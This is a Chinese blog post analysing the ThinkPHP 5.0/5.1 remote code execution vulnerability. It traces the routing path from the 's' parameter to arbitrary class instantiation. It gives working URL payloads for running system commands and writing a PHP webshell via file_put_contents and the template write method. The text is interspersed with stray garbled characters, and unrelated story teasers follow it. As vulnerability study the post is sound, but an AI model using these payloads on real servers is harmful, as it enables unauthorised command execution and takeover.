ThinkPHP 5.0 & 5.1遠(yuǎn)程命令執(zhí)行漏洞利用分析

0x01 漏洞利用方式

5.0版本POC(不唯一)

命令執(zhí)行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系統(tǒng)命令]
文件寫入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

5.1版本POC(不唯一)

命令執(zhí)行:?s=index/\think\Request/input&filter=system&data=[系統(tǒng)命令]
文件寫入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

0x02 漏洞分析

版本: Thinkphp v5.1.29(影響版本<5.1.31和<5.0.23)
本次分析環(huán)境:PHP/7.0.12 + Apache2

ThinkPHP官方在12月9日發(fā)布了5.*版本的更新隙赁,更新說明“由于框架對(duì)控制器名沒有進(jìn)行足夠的檢測(cè)會(huì)導(dǎo)致在沒有開啟強(qiáng)制路由的情況下可能的getshell漏洞”择克,所以漏洞的觸發(fā)在路由調(diào)度時(shí),thinkphp中由函數(shù)pathinfo()來獲取路由门粪,定位函數(shù)查看:/thinkphp/library/think/Request.php:678行


pathinfo()

其中在文件31行定義了var_pathinfo的默認(rèn)值為s :

// PATHINFO變量名 用于兼容模式
'var_pathinfo'   => 's'

所以當(dāng)請(qǐng)求報(bào)文中以GET形式傳入s參數(shù)是,則將其值作為pathinfo。全局查找pathinfo()函數(shù)的調(diào)用情況,可以發(fā)現(xiàn)同文件下path函數(shù)對(duì)其進(jìn)行調(diào)用,定位path()函數(shù)查看:/thinkphp/library/think/Request.php:716行
path()

調(diào)用pathinfo()函數(shù)獲取路由信息,并將返回值賦值給了$this->path墩莫,所以我們可以控制該變量,即path()函數(shù)的返回值乞旦,繼續(xù)跟蹤path函數(shù)的調(diào)用情況贼穆,定位函數(shù)routecheck():/thinkphp/library/think/App.php:583行


routecheck()

該函數(shù)進(jìn)行路由檢測(cè),且將我們可控的$path變量傳遞到了check()函數(shù)中進(jìn)行處理兰粉,定位查看check()函數(shù):/thinkphp/library/think/Route.php:877行


check()

這里我們就可以看出為何官方說明故痊,在開啟強(qiáng)制路由的情況下不受該漏洞的影響,如果開啟強(qiáng)制路由玖姑,則check處理傳入的由我們構(gòu)造的$url變量時(shí)會(huì)實(shí)例化RouteNotFoundException對(duì)象愕秫,即報(bào)出對(duì)應(yīng)的錯(cuò)誤慨菱。


RouteNotFoundException

而默認(rèn)路由解析情況下,check()函數(shù)實(shí)例化了UrlDispatch對(duì)象戴甩,并將$url傳遞給了構(gòu)造函數(shù)進(jìn)行處理符喝,UrlDispatch繼承Dispatch,分析其父類Dispatch的構(gòu)造函數(shù)甜孤,跟蹤查看:library/think/route/Dispatch.php:64行


Dispatch構(gòu)造函數(shù)

傳入的$dispatch變量值賦值給了$this->dispatch,全局收索$this->diapatch的處理情況协饲,最終會(huì)傳入U(xiǎn)rl類中的init()函數(shù)進(jìn)行處理,跟蹤查看init()函數(shù):/thinkphp/library/think/route/dispatch/Url.php:20行


Url類的init()

init()函數(shù)調(diào)用parseUrl()函數(shù)對(duì)$this->diapatch變量進(jìn)行處理缴川,跟蹤查看:/thinkphp/library/think/route/dispatch/Url.php:37行


parseUrl()

ParseUrl()函數(shù)又將變量傳入到了parseUrlPath()函數(shù)中茉稠,繼續(xù)定位查看parseUrlPath()函數(shù):/thinkphp/library/think/route/Rule.php:951行


parseUrlPath()

利用‘/’對(duì)$url變量進(jìn)行分割,且$url的格式為‘模塊/控制器/操作’把夸,將$url分割后的值存放在$path變量當(dāng)中而线,并返回到parseUrl()函數(shù),最終返回到Url類中init()函數(shù): /thinkphp/library/think/route/dispatch/Url.php:20行


Url類的init()

最終分割后封裝好的路由信息數(shù)組傳遞到了$result變量中恋日,隨后傳遞到了Module的構(gòu)造函數(shù)進(jìn)行處理膀篮,由于Module的父類也是Dispatch,即將$result值傳遞給了變量$this->dispatch岂膳,隨后調(diào)用Module類的init()函數(shù)對(duì)$this->dispatch進(jìn)行處理誓竿,定位查看:/thinkphp/library/think/route/dispatch/Module.php:27行


Module類的init()

在初始化模塊的判斷語句中,對(duì)$module進(jìn)行判斷闷营,則需要$available的值為true烤黍,即需要is_dir($this->app->getAppPath() . $module 的判斷條件成立,由于默認(rèn)模塊是index傻盟,所以入口模塊為index,也可以用‘.’進(jìn)行替換嫂丙。$this->dispatch的值最終傳遞到$this->controller中娘赴,init()函數(shù)處理完過后,進(jìn)入exec()函數(shù)跟啤,查看函數(shù)代碼: /thinkphp/library/think/route/dispatch/Module.php:85行


exec()

exec()函數(shù)將變量$this->controller傳遞給了controller()函數(shù)進(jìn)行處理诽表,繼續(xù)跟蹤controller()進(jìn)行查看:/thinkphp/library/think/App.php:720行


controller()

該函數(shù)中的$name變量是由我們控制的,隨后調(diào)用parseModuleAndClass()函數(shù)對(duì)其進(jìn)行出來隅肥,跟進(jìn)parseModuleAndClass()函數(shù):/thinkphp/library/think/App.php:641行
parseModuleAndClass()

當(dāng)$name中存在’\’時(shí)竿奏,直接將$name值賦給$class,然后實(shí)例化$class腥放,并返回泛啸,這里可能有些人不知道為什么會(huì)實(shí)例化$class,在parseModuleAndClass()函數(shù)執(zhí)行后返回到controller()函數(shù)中


controller()

其中返回了$class變量秃症,所以調(diào)用魔術(shù)方法__get()函數(shù)進(jìn)行處理候址,App類是繼承于Container的吕粹,所以可以去查看Container類中的魔術(shù)方法__get()

public function __get($name)
{
return $this->make($name);
}

__get()調(diào)用了make()函數(shù),跟蹤查看:/thinkphp/library/think/Container.php:260行


make()

make()將傳入的傳入的變量實(shí)例化為一個(gè)類岗仑,即controller()中$name為我們可以控制的值匹耕,可以通過構(gòu)造$name變量來實(shí)例化任何一個(gè)類,所以我們可以通過構(gòu)造s=index/\think\class/method來實(shí)例化\think\class類并且執(zhí)行該類的method方法達(dá)到控制程序流荠雕,由于Rule.php中parseUrlPath()函數(shù)中:

$url = str_replace('|', '/', $url);

所以也可以使用’|’進(jìn)行進(jìn)行構(gòu)造稳其,即index|\think\class|method。在\think\Request類中找到可以利用的方法input:


input()

通過構(gòu)造payload:

s=index/\think\Request/input&filter=phpinfo&data=1

即可調(diào)用phpinfo函數(shù)炸卑,調(diào)用system()函數(shù)便可以任意命令執(zhí)行欢际。


phpinfo

在\think\template\driver\file類中找到可以任意寫文件的方法write:


write()

所以通過構(gòu)造payload:

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
寫入文件

便可以在網(wǎng)站根目錄寫入任意惡意文件,從而達(dá)到控制目標(biāo)服務(wù)器的目的矾兜,可以調(diào)用進(jìn)行惡意操作的類比較多损趋。

對(duì)于Thinkphp5.0版本的,其路由控制器實(shí)現(xiàn)原理是一樣的椅寺,只是各種調(diào)用方式和函數(shù)名不太相同浑槽,這里不詳細(xì)分析,漏洞利用時(shí)調(diào)用的方法不一樣返帕,通過查找可以利用app類中的invokeFunction方法:
invokeFunction()

通過實(shí)例化ReflectionFunction類桐玻,調(diào)用function函數(shù),由于變量$var為數(shù)組荆萤,所以可以構(gòu)造payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
phpinfo

通過構(gòu)造payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

便可以達(dá)到任意寫的目的:


寫入文件

同5.1版本一樣镊靴,其parseUrlPath函數(shù)在處理$url時(shí)也進(jìn)行了替換處理:

$url = str_replace('|', '/', $url);

所以payload中的’/’也可以利用’|’進(jìn)行替換。該漏洞的利用方法不唯一链韭,針對(duì)Thinkphp5.*的不同版本可以尋找不同的類進(jìn)行調(diào)用偏竟。

漏洞分析僅用于學(xué)習(xí)!3ㄇ汀踊谋!一切實(shí)際攻擊利用行為概不負(fù)責(zé)。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末旋讹,一起剝皮案震驚了整個(gè)濱河市殖蚕,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌沉迹,老刑警劉巖睦疫,帶你破解...
    沈念sama閱讀 206,968評(píng)論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異鞭呕,居然都是意外死亡蛤育,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,601評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來缨伊,“玉大人摘刑,你說我怎么就攤上這事】谭唬” “怎么了枷恕?”我有些...
    開封第一講書人閱讀 153,220評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)谭胚。 經(jīng)常有香客問我徐块,道長(zhǎng),這世上最難降的妖魔是什么灾而? 我笑而不...
    開封第一講書人閱讀 55,416評(píng)論 1 279
  • 正文 為了忘掉前任胡控,我火速辦了婚禮,結(jié)果婚禮上旁趟,老公的妹妹穿的比我還像新娘昼激。我一直安慰自己,他們只是感情好锡搜,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,425評(píng)論 5 374
  • 文/花漫 我一把揭開白布橙困。 她就那樣靜靜地躺著,像睡著了一般耕餐。 火紅的嫁衣襯著肌膚如雪凡傅。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,144評(píng)論 1 285
  • 那天肠缔,我揣著相機(jī)與錄音夏跷,去河邊找鬼。 笑死明未,一個(gè)胖子當(dāng)著我的面吹牛槽华,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播亚隅,決...
    沈念sama閱讀 38,432評(píng)論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼硼莽,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了煮纵?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,088評(píng)論 0 261
  • 序言:老撾萬榮一對(duì)情侶失蹤偏螺,失蹤者是張志新(化名)和其女友劉穎行疏,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體套像,經(jīng)...
    沈念sama閱讀 43,586評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡酿联,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,028評(píng)論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片贞让。...
    茶點(diǎn)故事閱讀 38,137評(píng)論 1 334
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡周崭,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出喳张,到底是詐尸還是另有隱情续镇,我是刑警寧澤,帶...
    沈念sama閱讀 33,783評(píng)論 4 324
  • 正文 年R本政府宣布销部,位于F島的核電站摸航,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏舅桩。R本人自食惡果不足惜酱虎,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,343評(píng)論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望擂涛。 院中可真熱鬧读串,春花似錦、人聲如沸撒妈。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,333評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)踩身。三九已至胀茵,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間挟阻,已是汗流浹背琼娘。 一陣腳步聲響...
    開封第一講書人閱讀 31,559評(píng)論 1 262
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留附鸽,地道東北人脱拼。 一個(gè)月前我還...
    沈念sama閱讀 45,595評(píng)論 2 355
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像坷备,于是被迫代替她去往敵國(guó)和親熄浓。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,901評(píng)論 2 345